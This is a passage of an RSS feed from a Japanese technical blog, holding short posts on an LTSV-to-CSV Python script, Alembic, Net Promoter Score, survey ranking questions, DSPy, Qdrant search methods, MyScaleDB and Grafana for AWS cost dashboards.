&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/env python&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; click
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; pandas &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; pd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; csv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; re
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.group&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.option&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;--tf_output&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;-to&amp;#34;&lt;/span&gt;, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.pass_context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;group&lt;/span&gt;(ctx, tf_output):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@group.command&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.argument&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;src&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.pass_context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ltsv2csv&lt;/span&gt;(ctx, src):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;LTSV to CSV&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;src&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_line_dict&lt;/span&gt;(line):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; dict(re&lt;span style="color:#f92672"&gt;.&lt;/span&gt;search(&lt;span style="color:#e6db74"&gt;r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;^([^\:]+)\:(.*)$&amp;#34;&lt;/span&gt;, i)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;groups() &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; line)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; open(src) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DataFrame(map(get_line_dict, csv&lt;span style="color:#f92672"&gt;.&lt;/span&gt;reader(f, delimiter&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\t&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data&lt;span style="color:#f92672"&gt;.&lt;/span&gt;to_csv(output, index&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; group()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>alembic: マイグレーションツール</title><link>https://hdknr.github.io/blogs/posts/2024/10/alembic-%E3%83%9E%E3%82%A4%E3%82%B0%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/alembic-%E3%83%9E%E3%82%A4%E3%82%B0%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;h1 id="alembic"&gt;Alembic&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="relation.md"&gt;リレーション&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="stamp.md"&gt;フェイクマイグレーション&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>NPS</title><link>https://hdknr.github.io/blogs/posts/2024/10/nps/</link><pubDate>Sun, 06 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/nps/</guid><description>&lt;h1 id="npsnet-promoter-score"&gt;NPS(Net Promoter Score)&lt;/h1&gt;
&lt;p&gt;Net Promoter Score (NPS) とは、顧客が企業や製品、サービスを他人に推薦する可能性を測定する指標です。
NPSは、顧客満足度やロイヤルティを評価するために広く使用されています。&lt;/p&gt;
&lt;p&gt;NPSは、次のような質問に基づいて計算されます：
「この製品/サービスを友人や同僚に推薦する可能性はどのくらいありますか？」顧客は0から10のスケールで回答します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;9-10&lt;/strong&gt;: 推奨者 (Promoters) - 非常に満足しており、積極的に推薦する可能性が高い。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;7-8&lt;/strong&gt;: 中立者 (Passives) - 満足しているが、積極的に推薦する可能性は低い。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;0-6&lt;/strong&gt;: 批判者 (Detractors) - 不満を持っており、他人に推薦しない可能性が高い。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;NPSは、推奨者の割合から批判者の割合を引くことで計算されます。例えば、100人の顧客のうち60人が推奨者、20人が中立者、20人が批判者の場合、NPSは40（60% - 20%）となります。&lt;/p&gt;
&lt;p&gt;NPSは、企業が顧客のフィードバックを理解し、改善点を見つけるための重要なツールです。&lt;/p&gt;
&lt;h2 id="例"&gt;例&lt;/h2&gt;
&lt;p&gt;NPSの設問はシンプルで、次のように記述されます：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;「この製品/サービスを友人や同僚に推薦する可能性はどのくらいありますか？」&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;回答は0から10のスケールで行います。具体的には以下のような形式です：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0 - 全く推薦しない
1
2
3
4
5
6
7
8
9
10 - 非常に推薦する
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;この設問に続けて、自由記述欄を設けることも一般的です。例えば：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;「この評価の理由を教えてください。」&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;これにより、顧客の具体的なフィードバックを収集しやすくなります。&lt;/p&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://japanbrand.jp/column/practice-column/part113"&gt;第113回: NPS(Net Promoter Score)という名の推奨意向&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nttcoms.com/service/nps/summary/"&gt;NPS®(ネットプロモータースコア)とは？&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>アンケート</title><link>https://hdknr.github.io/blogs/posts/2024/10/%E3%82%A2%E3%83%B3%E3%82%B1%E3%83%BC%E3%83%88/</link><pubDate>Sun, 06 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/%E3%82%A2%E3%83%B3%E3%82%B1%E3%83%BC%E3%83%88/</guid><description>&lt;h1 id="アンケート"&gt;アンケート&lt;/h1&gt;
&lt;h2 id="ランキング順位回答"&gt;「ランキング(順位回答)&lt;/h2&gt;
&lt;p&gt;「ランキング(順位回答)」形式の設問を設定する際には、回答者に複数の選択肢を提示し、それらを順位付けしてもらう形になります。具体的な記述例を以下に示します：&lt;/p&gt;
&lt;h3 id="設問例"&gt;設問例&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Q1. 以下の旅行先を、行きたい順に1位から5位まで順位付けしてください。&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;パリ&lt;/li&gt;
&lt;li&gt;ニューヨーク&lt;/li&gt;
&lt;li&gt;東京&lt;/li&gt;
&lt;li&gt;ローマ&lt;/li&gt;
&lt;li&gt;シドニー&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="回答方法"&gt;回答方法&lt;/h3&gt;
&lt;p&gt;回答者は、各選択肢に対して順位を記入します。例えば：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1位: 東京&lt;/li&gt;
&lt;li&gt;2位: パリ&lt;/li&gt;
&lt;li&gt;3位: シドニー&lt;/li&gt;
&lt;li&gt;4位: ニューヨーク&lt;/li&gt;
&lt;li&gt;5位: ローマ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;このように、回答者が自分の好みに基づいて順位を付けることで、アンケートの結果から人気のある選択肢や優先順位を分析することができます。&lt;/p&gt;</description></item><item><title>DSpy</title><link>https://hdknr.github.io/blogs/posts/2024/10/dspy/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/dspy/</guid><description>&lt;h1 id="dspy-declarative-sequencing-for-python"&gt;DSPy (Declarative Sequencing for Python)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dspy-docs.vercel.app/"&gt;https://dspy-docs.vercel.app/&lt;/a&gt; (Programming—not prompting—Language Models)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dspyについて"&gt;DSPyについて&lt;/h2&gt;
&lt;p&gt;DSPyは、LMプロンプトとウェイトをアルゴリズム的に最適化するためのフレームワークです、
特にLMがパイプライン内で1回以上使用される場合。
LMを使用して複雑なシステムを構築する なし DSPy、あなたは一般的に次のことを行う必要があります:&lt;/p&gt;
&lt;p&gt;(1)問題をステップに分解する、
(2)各ステップが個別にうまく機能するまでLMをうまく促す、
(3)ステップを微調整してうまく連携する、
(4)合成例を生成する各ステップを調整し、
(5)これらの例を使用して、より小さなLMを調整してコストを削減します。&lt;/p&gt;
&lt;p&gt;現在、これは困難で厄介です。パイプライン、LM、またはデータを変更するたびに、すべてのプロンプト（または微調整手順）を変更する必要がある場合があります。&lt;/p&gt;
&lt;p&gt;これをより体系的ではるかに強力にするために、 DSPy 2つのことを行います。
まず、プログラムの流れを分離します(modules)各ステップのパラメーター（LMプロンプトとウェイト）から。
第二に、 DSPy 新しい optimizers、これは、LMコールのプロンプトやウェイトを調整できるLM駆動アルゴリズムです。metric 最大化したい。&lt;/p&gt;
&lt;p&gt;DSPy のような強力なモデルを日常的に教えることができます
GPT-3.5 または GPT-4 と地元のモデル T5-base または Llama2-13b タスクではるかに信頼性が高くなること、つまり、より高い品質を持つこと、および/または特定の障害パターンを回避すること。
DSPy オプティマイザーは 同じ プログラム 異なる 各LMの指示、ショットの少ないプロンプト、および/またはウェイトの更新（finetunes）。
これは、LMとそのプロンプトが、データから学習できるより大きなシステムの最適化可能な部分としてバックグラウンドにフェードインする新しいパラダイムです。
tldr; LMでハードタスクを解決するためのプロンプトが少なく、スコアが高く、より体系的なアプローチ。&lt;/p&gt;
&lt;h3 id="ニューラルネットワークへのアナロジー"&gt;ニューラルネットワークへのアナロジー&lt;/h3&gt;
&lt;p&gt;ニューラルネットワークを構築するときは、マニュアルを書きません
for-loops 以上のリスト 手調整 フロート。代わりに、次のようなフレームワークを使用できます
PyTorch レイヤーを作成する(例: Convolution または Dropout)0次に、オプティマイザー（SGDやAdamなど）を使用して、ネットワークのパラメーターを学習します。&lt;/p&gt;
&lt;p&gt;同上！DSPy 適切な汎用モジュールを提供します
（例: ChainOfThought、 ReAct等）、文字列ベースのプロンプトトリックを置き換えます。
迅速なハッキングと1回限りの合成データジェネレーターを置き換えるには、 DSPy 一般的なオプティマイザーも提供します(BootstrapFewShotWithRandomSearch または MIPRO)、
これはプログラムのパラメーターを更新するアルゴリズムです。
コード、データ、アサーション、またはメトリックを変更するときはいつでも、 コンパイル あなたのプログラムをもう一度 DSPy 変更に適合する新しい効果的なプロンプトを作成します。&lt;/p&gt;</description></item><item><title>Qdrant</title><link>https://hdknr.github.io/blogs/posts/2024/10/qdrant/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/qdrant/</guid><description>&lt;h1 id="qdrant"&gt;Qdrant&lt;/h1&gt;
&lt;h2 id="ベクターデータベース"&gt;ベクターデータベース&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Chroma &lt;a href="https://www.trychroma.com/"&gt;https://www.trychroma.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pinecone &lt;a href="https://www.pinecone.io/"&gt;https://www.pinecone.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Weaviate &lt;a href="https://weaviate.io/ja"&gt;https://weaviate.io/ja&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Qdrant &lt;a href="https://qdrant.tech/"&gt;https://qdrant.tech/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="レコードid"&gt;レコードID&lt;/h2&gt;
&lt;p&gt;Qdrantのレコードを更新する際のキー情報は、&lt;strong&gt;レコードのID&lt;/strong&gt;です。
&lt;a href="https://qiita.com/ktaka1104/items/01bc93ce2c36f3386bd0"&gt;Qdrantでは、各レコード（Point）は一意の識別子（ID）、ベクトル、そしてペイロード（追加情報）で構成されています¹&lt;/a&gt;。
&lt;a href="https://qiita.com/ktaka1104/items/01bc93ce2c36f3386bd0"&gt;レコードを更新する際には、このIDを使用して特定のレコードを指定します¹&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="lexical-search"&gt;Lexical Search&lt;/h2&gt;
&lt;p&gt;Lexical Search（レキシカル検索）は、&lt;strong&gt;キーワードベースの検索&lt;/strong&gt;の一種で、[力されたクエリとデータベース内のテキストの&lt;strong&gt;正確な一致&lt;/strong&gt;を探す方法です&lt;a href="https://speakai.co/lexical-search-vs-semantic-search/"&gt;¹&lt;/a&gt;&lt;a href="https://www.elastic.co/search-labs/blog/lexical-and-semantic-search-with-elasticsearch"&gt;²&lt;/a&gt;。具体的には、以下のような特徴があります：&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;正確な一致&lt;/strong&gt;：クエリに入力された単語とデータベース内の単語が正確に一致するものを探します。スペルや文法のバリエーションは無視されます&lt;a href="https://speakai.co/lexical-search-vs-semantic-search/"&gt;¹&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高速で効率的&lt;/strong&gt;：特定の名前や日付など、変更されにくい情報を迅速に見つけるのに適しています&lt;a href="https://speakai.co/lexical-search-vs-semantic-search/"&gt;¹&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;シンプルな実装&lt;/strong&gt;：多くの検索エンジンやデータベースで一般的に使用される方法です&lt;a href="https://www.elastic.co/search-labs/blog/lexical-and-semantic-search-with-elasticsearch"&gt;²&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例えば、データベース内で特定の人物の名前を探す場合、レキシカル検索を使用するとその名前と正確に一致するエントリを見つけることができます。&lt;/p&gt;
&lt;p&gt;一方で、レキシカル検索は&lt;strong&gt;意味の理解&lt;/strong&gt;を伴わないため、同義語や文脈を考慮した検索には向いていません&lt;a href="https://www.semedy.com/post/search-in-a-knowledge-base-introduction-lexical-search"&gt;³&lt;/a&gt;。そのため、より高度な検索が必要な場合は、セマンティック検索（意味検索）などの他の方法が使用されることがあります&lt;a href="https://speakai.co/lexical-search-vs-semantic-search/"&gt;¹&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;(1) Lexical Search Vs Semantic Search - Try Speak Free!. &lt;a href="https://speakai.co/lexical-search-vs-semantic-search/"&gt;https://speakai.co/lexical-search-vs-semantic-search/&lt;/a&gt;.
(2) Lexical and semantic search with Elasticsearch. &lt;a href="https://www.elastic.co/search-labs/blog/lexical-and-semantic-search-with-elasticsearch"&gt;https://www.elastic.co/search-labs/blog/lexical-and-semantic-search-with-elasticsearch&lt;/a&gt;.
(3) Search in a Knowledge Base – Introduction &amp;amp; Lexical Search - Semedy. &lt;a href="https://www.semedy.com/post/search-in-a-knowledge-base-introduction-lexical-search"&gt;https://www.semedy.com/post/search-in-a-knowledge-base-introduction-lexical-search&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="dense-searchデンス検索"&gt;Dense Search（デンス検索）&lt;/h2&gt;
&lt;p&gt;Dense Search（デンス検索）は、&lt;strong&gt;高次元の数値ベクトル&lt;/strong&gt;を使用してデータを検索する方法です。
これは、特に&lt;strong&gt;セマンティック検索&lt;/strong&gt;（意味検索）に適しており、クエリとデータベース内のドキュメントの間の&lt;strong&gt;意味的な類似性&lt;/strong&gt;を評価します&lt;a href="https://solr.apache.org/guide/solr/latest/query-guide/dense-vector-search.html"&gt;¹&lt;/a&gt;&lt;a href="https://weaviate.io/blog/hybrid-search-explained"&gt;²&lt;/a&gt;。&lt;/p&gt;
&lt;h3 id="特徴"&gt;特徴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ベクトル表現&lt;/strong&gt;：テキストや画像などのデータを高次元のベクトルに変換します。
これにより、データの意味的な情報を数値として表現できます&lt;a href="https://solr.apache.org/guide/solr/latest/query-guide/dense-vector-search.html"&gt;¹&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;距離計算&lt;/strong&gt;：クエリベクトルとデータベース内のベクトル間の距離（例えば、ユークリッド距離やコサイン類似度）を計算し、最も類似した結果を返します&lt;a href="https://weaviate.io/blog/hybrid-search-explained"&gt;²&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機械学習モデル&lt;/strong&gt;：BERTやGloVeなどの機械学習モデルを使用して、データをベクトルにエンコードします&lt;a href="https://weaviate.io/blog/hybrid-search-explained"&gt;²&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="利点"&gt;利点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;意味的な一致&lt;/strong&gt;：キーワードの正確な一致に依存せず、意味的に関連する結果を返すことができます&lt;a href="https://docs.pinecone.io/guides/data/understanding-hybrid-search"&gt;³&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多様なデータ対応&lt;/strong&gt;：テキストだけでなく、画像や音声などの異なるデータタイプにも適用可能です&lt;a href="https://solr.apache.org/guide/solr/latest/query-guide/dense-vector-search.html"&gt;¹&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="使用例"&gt;使用例&lt;/h3&gt;
&lt;p&gt;Dense Searchは、検索エンジンやレコメンデーションシステムなどで広く使用されています。
例えば、ユーザーが入力したクエリに対して、意味的に関連するドキュメントや商品を見つけるのに役立ちます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://solr.apache.org/guide/solr/latest/query-guide/dense-vector-search.html"&gt;¹&lt;/a&gt;: &lt;a href="https://solr.apache.org/guide/solr/latest/query-guide/dense-vector-search.html"&gt;Dense Vector Search :: Apache Solr Reference Guide&lt;/a&gt;
&lt;a href="https://weaviate.io/blog/hybrid-search-explained"&gt;²&lt;/a&gt;: &lt;a href="https://weaviate.io/blog/hybrid-search-explained"&gt;Hybrid Search Explained - Weaviate&lt;/a&gt;
&lt;a href="https://docs.pinecone.io/guides/data/understanding-hybrid-search"&gt;³&lt;/a&gt;: &lt;a href="https://docs.pinecone.io/guides/data/understanding-hybrid-search"&gt;Understanding hybrid search - Pinecone Docs&lt;/a&gt;&lt;/p&gt;</description></item><item><title>MyScaleDB</title><link>https://hdknr.github.io/blogs/posts/2024/10/myscaledb/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/myscaledb/</guid><description>&lt;h1 id="myscaledb"&gt;MyScaleDB&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/myscale/MyScaleDB"&gt;https://github.com/myscale/MyScaleDB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://myscale.com/blog/unleashing-power-hnsw-indexes-pgvector/"&gt;Unleashing the Power of HNSW Indexes with pgvector&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Grafana</title><link>https://hdknr.github.io/blogs/posts/2024/10/grafana/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/grafana/</guid><description>&lt;h1 id="grafana"&gt;Grafana&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://blog.serverworks.co.jp/tech/2016/03/11/play-with-grafana-1/"&gt;Grafanaでかっけぇダッシュボード作るよ！(構築・設定編)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://qiita.com/kooshin/items/cbab9dd3fc7b1f4eed81"&gt;ネットワークメトリクスを視覚化してみた（collectd + Graphite + Grafana）&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;収集：collectd - SNMPでルータからメトリクスを収集する&lt;/li&gt;
&lt;li&gt;蓄積：Graphite - 収集したメトリクスを保存する&lt;/li&gt;
&lt;li&gt;描画：Grafana - メトリクスを時系列で表示する&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws"&gt;AWS&lt;/h2&gt;
&lt;p&gt;AWSの利用料金をGraphina（Grafana）を使って可視化する事例について、いくつかの方法があります。以下はその一例です。&lt;/p&gt;
&lt;h3 id="事例-grafanaでawsのコストを可視化"&gt;事例: GrafanaでAWSのコストを可視化&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;請求メトリクスの取得&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;まず、AWS側で請求額のメトリクスを取得します。AWS Cost ExplorerやCloudWatchを使用して、必要なデータを収集します。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;認証情報の作成&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grafanaで使用するためのIAMユーザーを作成し、必要なポリシー（例: &lt;code&gt;CloudWatchReadOnlyAccess&lt;/code&gt;）をアタッチします。アクセスキーとシークレットキーを取得します。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;データソースの設定&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GrafanaのデータソースとしてCloudWatchを設定します。取得したアクセスキーとシークレットキーを使用して認証を行います。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ダッシュボードのインポート&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grafanaのダッシュボードテンプレートを使用して、AWSのコストを可視化するダッシュボードをインポートします。例えば、「AWS Billing Dashboard」というテンプレートを使用することができます¹。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;カスタマイズ&lt;/strong&gt;:&lt;/p&gt;
